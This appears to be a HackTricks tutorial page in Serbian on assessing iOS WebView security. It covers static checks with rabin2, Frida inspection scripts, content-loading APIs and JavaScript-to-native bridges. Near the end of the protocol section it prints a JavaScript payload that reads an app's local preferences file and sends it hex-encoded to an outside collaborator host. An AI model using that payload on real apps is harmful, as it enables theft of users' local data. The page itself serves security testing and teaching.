iOS WebViews

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Kod ove stranice je preuzet iz ovde. Proverite stranicu za dodatne detalje.

Tipovi WebViews

WebViews se koriste unutar aplikacija za interaktivno prikazivanje web sadržaja. Različiti tipovi WebViews nude različite funkcionalnosti i bezbednosne karakteristike za iOS aplikacije. Evo kratkog pregleda:

  • UIWebView, koji više nije preporučen od iOS 12 nadalje zbog nedostatka podrške za onemogućavanje JavaScript, što ga čini podložnim injekciji skripti i Cross-Site Scripting (XSS) napadima.

  • WKWebView je preferisana opcija za uključivanje web sadržaja u aplikacije, nudeći poboljšanu kontrolu nad sadržajem i bezbednosnim karakteristikama. JavaScript je podrazumevano omogućen, ali se može onemogućiti ako je potrebno. Takođe podržava funkcije za sprečavanje automatskog otvaranja prozora od strane JavaScript-a i osigurava da se sav sadržaj učitava sigurno. Pored toga, arhitektura WKWebView minimizira rizik od oštećenja memorije koje utiče na glavni proces aplikacije.

  • SFSafariViewController nudi standardizovano iskustvo web pretraživanja unutar aplikacija, prepoznatljivo po svom specifičnom rasporedu koji uključuje polje za adresu samo za čitanje, dugmad za deljenje i navigaciju, i direktnu vezu za otvaranje sadržaja u Safariju. Za razliku od WKWebView, JavaScript se ne može onemogućiti u SFSafariViewController, koji takođe deli kolačiće i podatke sa Safarijem, održavajući privatnost korisnika od aplikacije. Mora biti istaknuto u skladu sa smernicama App Store-a.

javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Konfiguracija Istraživanje Sažetak

Pregled Statističke Analize

U procesu ispitivanja WebViews konfiguracija, fokusira se na dva glavna tipa: UIWebView i WKWebView. Za identifikaciju ovih WebViews unutar binarnog fajla, koriste se komande koje pretražuju specifične reference klasa i metode inicijalizacije.

  • UIWebView Identifikacija
bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Ova komanda pomaže u lociranju instanci UIWebView pretražujući tekstualne nizove povezane s njom u binarnom kodu.

  • Identifikacija WKWebView
bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Slično, za WKWebView, ova komanda pretražuje binarni fajl za tekstualne stringove koji ukazuju na njegovu upotrebu.

Pored toga, da bi se saznalo kako se WKWebView inicijalizuje, izvršava se sledeća komanda, koja cilja na potpis metode vezane za njegovu inicijalizaciju:

bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Provera Konfiguracije JavaScript-a

Za WKWebView, naglašava se da je onemogućavanje JavaScript-a najbolja praksa osim ako nije potrebno. Kompajlirani binarni fajl se pretražuje da bi se potvrdilo da je svojstvo javaScriptEnabled postavljeno na false, čime se osigurava da je JavaScript onemogućen:

bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Samo verifikacija sigurnog sadržaja

WKWebView nudi mogućnost identifikacije problema sa mešanim sadržajem, za razliku od UIWebView. Ovo se proverava korišćenjem hasOnlySecureContent svojstva kako bi se osiguralo da su svi resursi stranice učitani putem sigurnih veza. Pretraga u kompajliranom binarnom fajlu se vrši na sledeći način:

bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Uvidi u Dinamičku Analizu

Dinamička analiza uključuje inspekciju heap-a za WebView instance i njihove osobine. Skripta pod nazivom webviews_inspector.js se koristi u tu svrhu, ciljajući UIWebView, WKWebView i SFSafariViewController instance. Beleži informacije o pronađenim instancama, uključujući URL-ove i podešavanja vezana za JavaScript i sigurni sadržaj.

Inspekcija heap-a može se izvršiti korišćenjem ObjC.choose() za identifikaciju WebView instanci i proveru javaScriptEnabled i hasonlysecurecontent osobina.

webviews_inspector.js
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

Skripta se izvršava sa:

bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Ključni Ishodi:

  • Primeri WebView-a su uspešno locirani i pregledani.
  • Omogućavanje JavaScript-a i podešavanja sigurnog sadržaja su verifikovani.

Ova sažetak obuhvata ključne korake i komande uključene u analizu WebView konfiguracija kroz statičke i dinamičke pristupe, fokusirajući se na bezbednosne karakteristike kao što su omogućavanje JavaScript-a i detekcija mešanog sadržaja.

Rukovanje WebView Protokolima

Rukovanje sadržajem u WebView-ima je kritičan aspekt, posebno kada se radi o različitim protokolima kao što su http(s)://, file://, i tel://. Ovi protokoli omogućavaju učitavanje kako udaljenog, tako i lokalnog sadržaja unutar aplikacija. Naglašava se da prilikom učitavanja lokalnog sadržaja, treba preduzeti mere opreza kako bi se sprečilo da korisnici utiču na ime ili putanju datoteke i da uređuju sam sadržaj.

WebViews nude različite metode za učitavanje sadržaja. Za UIWebView, koji je sada zastareo, koriste se metode kao što su loadHTMLString:baseURL: i loadData:MIMEType:textEncodingName:baseURL:. WKWebView, s druge strane, koristi loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, i loadRequest: za web sadržaj. Metode kao što su pathForResource:ofType:, URLForResource:withExtension:, i init(contentsOf:encoding:) se obično koriste za učitavanje lokalnih datoteka. Metoda loadFileURL:allowingReadAccessToURL: je posebno značajna zbog svoje sposobnosti da učita određeni URL ili direktorijum u WebView, potencijalno izlažući osetljive podatke ako je specificiran direktorijum.

Da biste pronašli ove metode u izvor kodu ili kompajliranom binarnom, mogu se koristiti komande kao što su:

bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Što se tiče pristupa datotekama, UIWebView to omogućava univerzalno, dok WKWebView uvodi allowFileAccessFromFileURLs i allowUniversalAccessFromFileURLs postavke za upravljanje pristupom sa URL-ova datoteka, pri čemu su obe podrazumevano postavljene na false.

Primer Frida skripte je dat za inspekciju WKWebView konfiguracija za bezbednosne postavke:

bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Na kraju, primer JavaScript payload-a usmerenog na eksfiltraciju lokalnih fajlova pokazuje potencijalni bezbednosni rizik povezan sa nepravilno konfigurisanim WebView-ima. Ovaj payload kodira sadržaj fajlova u heksadecimalni format pre nego što ih prenese na server, ističući važnost strogih bezbednosnih mera u implementacijama WebView-a.

javascript
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Native Methods Exposed Through WebViews

Razumevanje WebView Native Interfaces u iOS-u

Od iOS 7 pa nadalje, Apple je pružio API-je za komunikaciju između JavaScript-a u WebView-u i native Swift ili Objective-C objekata. Ova integracija se prvenstveno olakšava kroz dve metode:

  • JSContext: JavaScript funkcija se automatski kreira kada je Swift ili Objective-C blok povezan sa identifikatorom unutar JSContext. Ovo omogućava besprekornu integraciju i komunikaciju između JavaScript-a i native koda.
  • JSExport Protocol: Nasleđivanjem JSExport protokola, native svojstva, instance metode i metode klase mogu biti izložene JavaScript-u. To znači da su sve promene napravljene u JavaScript okruženju odražene u native okruženju, i obrnuto. Međutim, važno je osigurati da osetljivi podaci nisu nenamerno izloženi ovom metodom.

Pristupanje JSContext u Objective-C

U Objective-C, JSContext za UIWebView može se dobiti sledećom linijom koda:

objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Komunikacija sa WKWebView

Za WKWebView, direktan pristup JSContext nije dostupan. Umesto toga, koristi se prenos poruka putem postMessage funkcije, omogućavajući komunikaciju između JavaScript-a i nativne aplikacije. Handleri za ove poruke se postavljaju na sledeći način, omogućavajući JavaScript-u da sigurno komunicira sa nativnom aplikacijom:

swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interakcija i testiranje

JavaScript može da komunicira sa nativnim slojem definisanjem rukovaoca porukama skripte. Ovo omogućava operacije poput pozivanja nativnih funkcija sa veb stranice:

javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Da bi se uhvatio i manipulisao rezultat poziva nativne funkcije, može se prepisati callback funkcija unutar HTML-a:

html
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

Nativna strana obrađuje JavaScript poziv kao što je prikazano u JavaScriptBridgeMessageHandler klasi, gde se rezultat operacija poput množenja brojeva obrađuje i šalje nazad u JavaScript za prikaz ili dalju manipulaciju:

swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial zasnovan na onom sa https://blog.vuplex.com/debugging-webviews)

Da biste efikasno debagovali web sadržaj unutar iOS webview-a, potrebna je specifična postavka koja uključuje Safari-ove alate za programere zbog toga što poruke poslate na console.log() nisu prikazane u Xcode logovima. Evo pojednostavljenog vodiča, sa naglaskom na ključne korake i zahteve:

  • Priprema na iOS uređaju: Safari Web Inspector treba da bude aktiviran na vašem iOS uređaju. To se radi odlaskom na Podešavanja > Safari > Napredno, i omogućavanjem Web Inspector.

  • Priprema na macOS uređaju: Na vašem macOS razvojnim računaru, morate omogućiti alate za programere unutar Safarija. Pokrenite Safari, pristupite Safari > Preferencije > Napredno, i izaberite opciju Prikaži Develop meni.

  • Povezivanje i debagovanje: Nakon što povežete vaš iOS uređaj sa vašim macOS računarom i pokrenete vašu aplikaciju, koristite Safari na vašem macOS uređaju da izaberete webview koji želite da debagujete. Idite na Develop u meniju Safarija, pređite mišem preko imena vašeg iOS uređaja da biste videli listu instanci webview-a, i izaberite instancu koju želite da pregledate. Otvoriće se novi prozor Safari Web Inspector-a u tu svrhu.

Međutim, imajte na umu ograničenja:

  • Debagovanje ovom metodom zahteva macOS uređaj pošto se oslanja na Safari.
  • Samo webview-ovi u aplikacijama učitanim na vaš uređaj putem Xcode-a su podobni za debagovanje. Webview-ovi u aplikacijama instaliranim putem App Store-a ili Apple Configurator-a ne mogu se debagovati na ovaj način.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks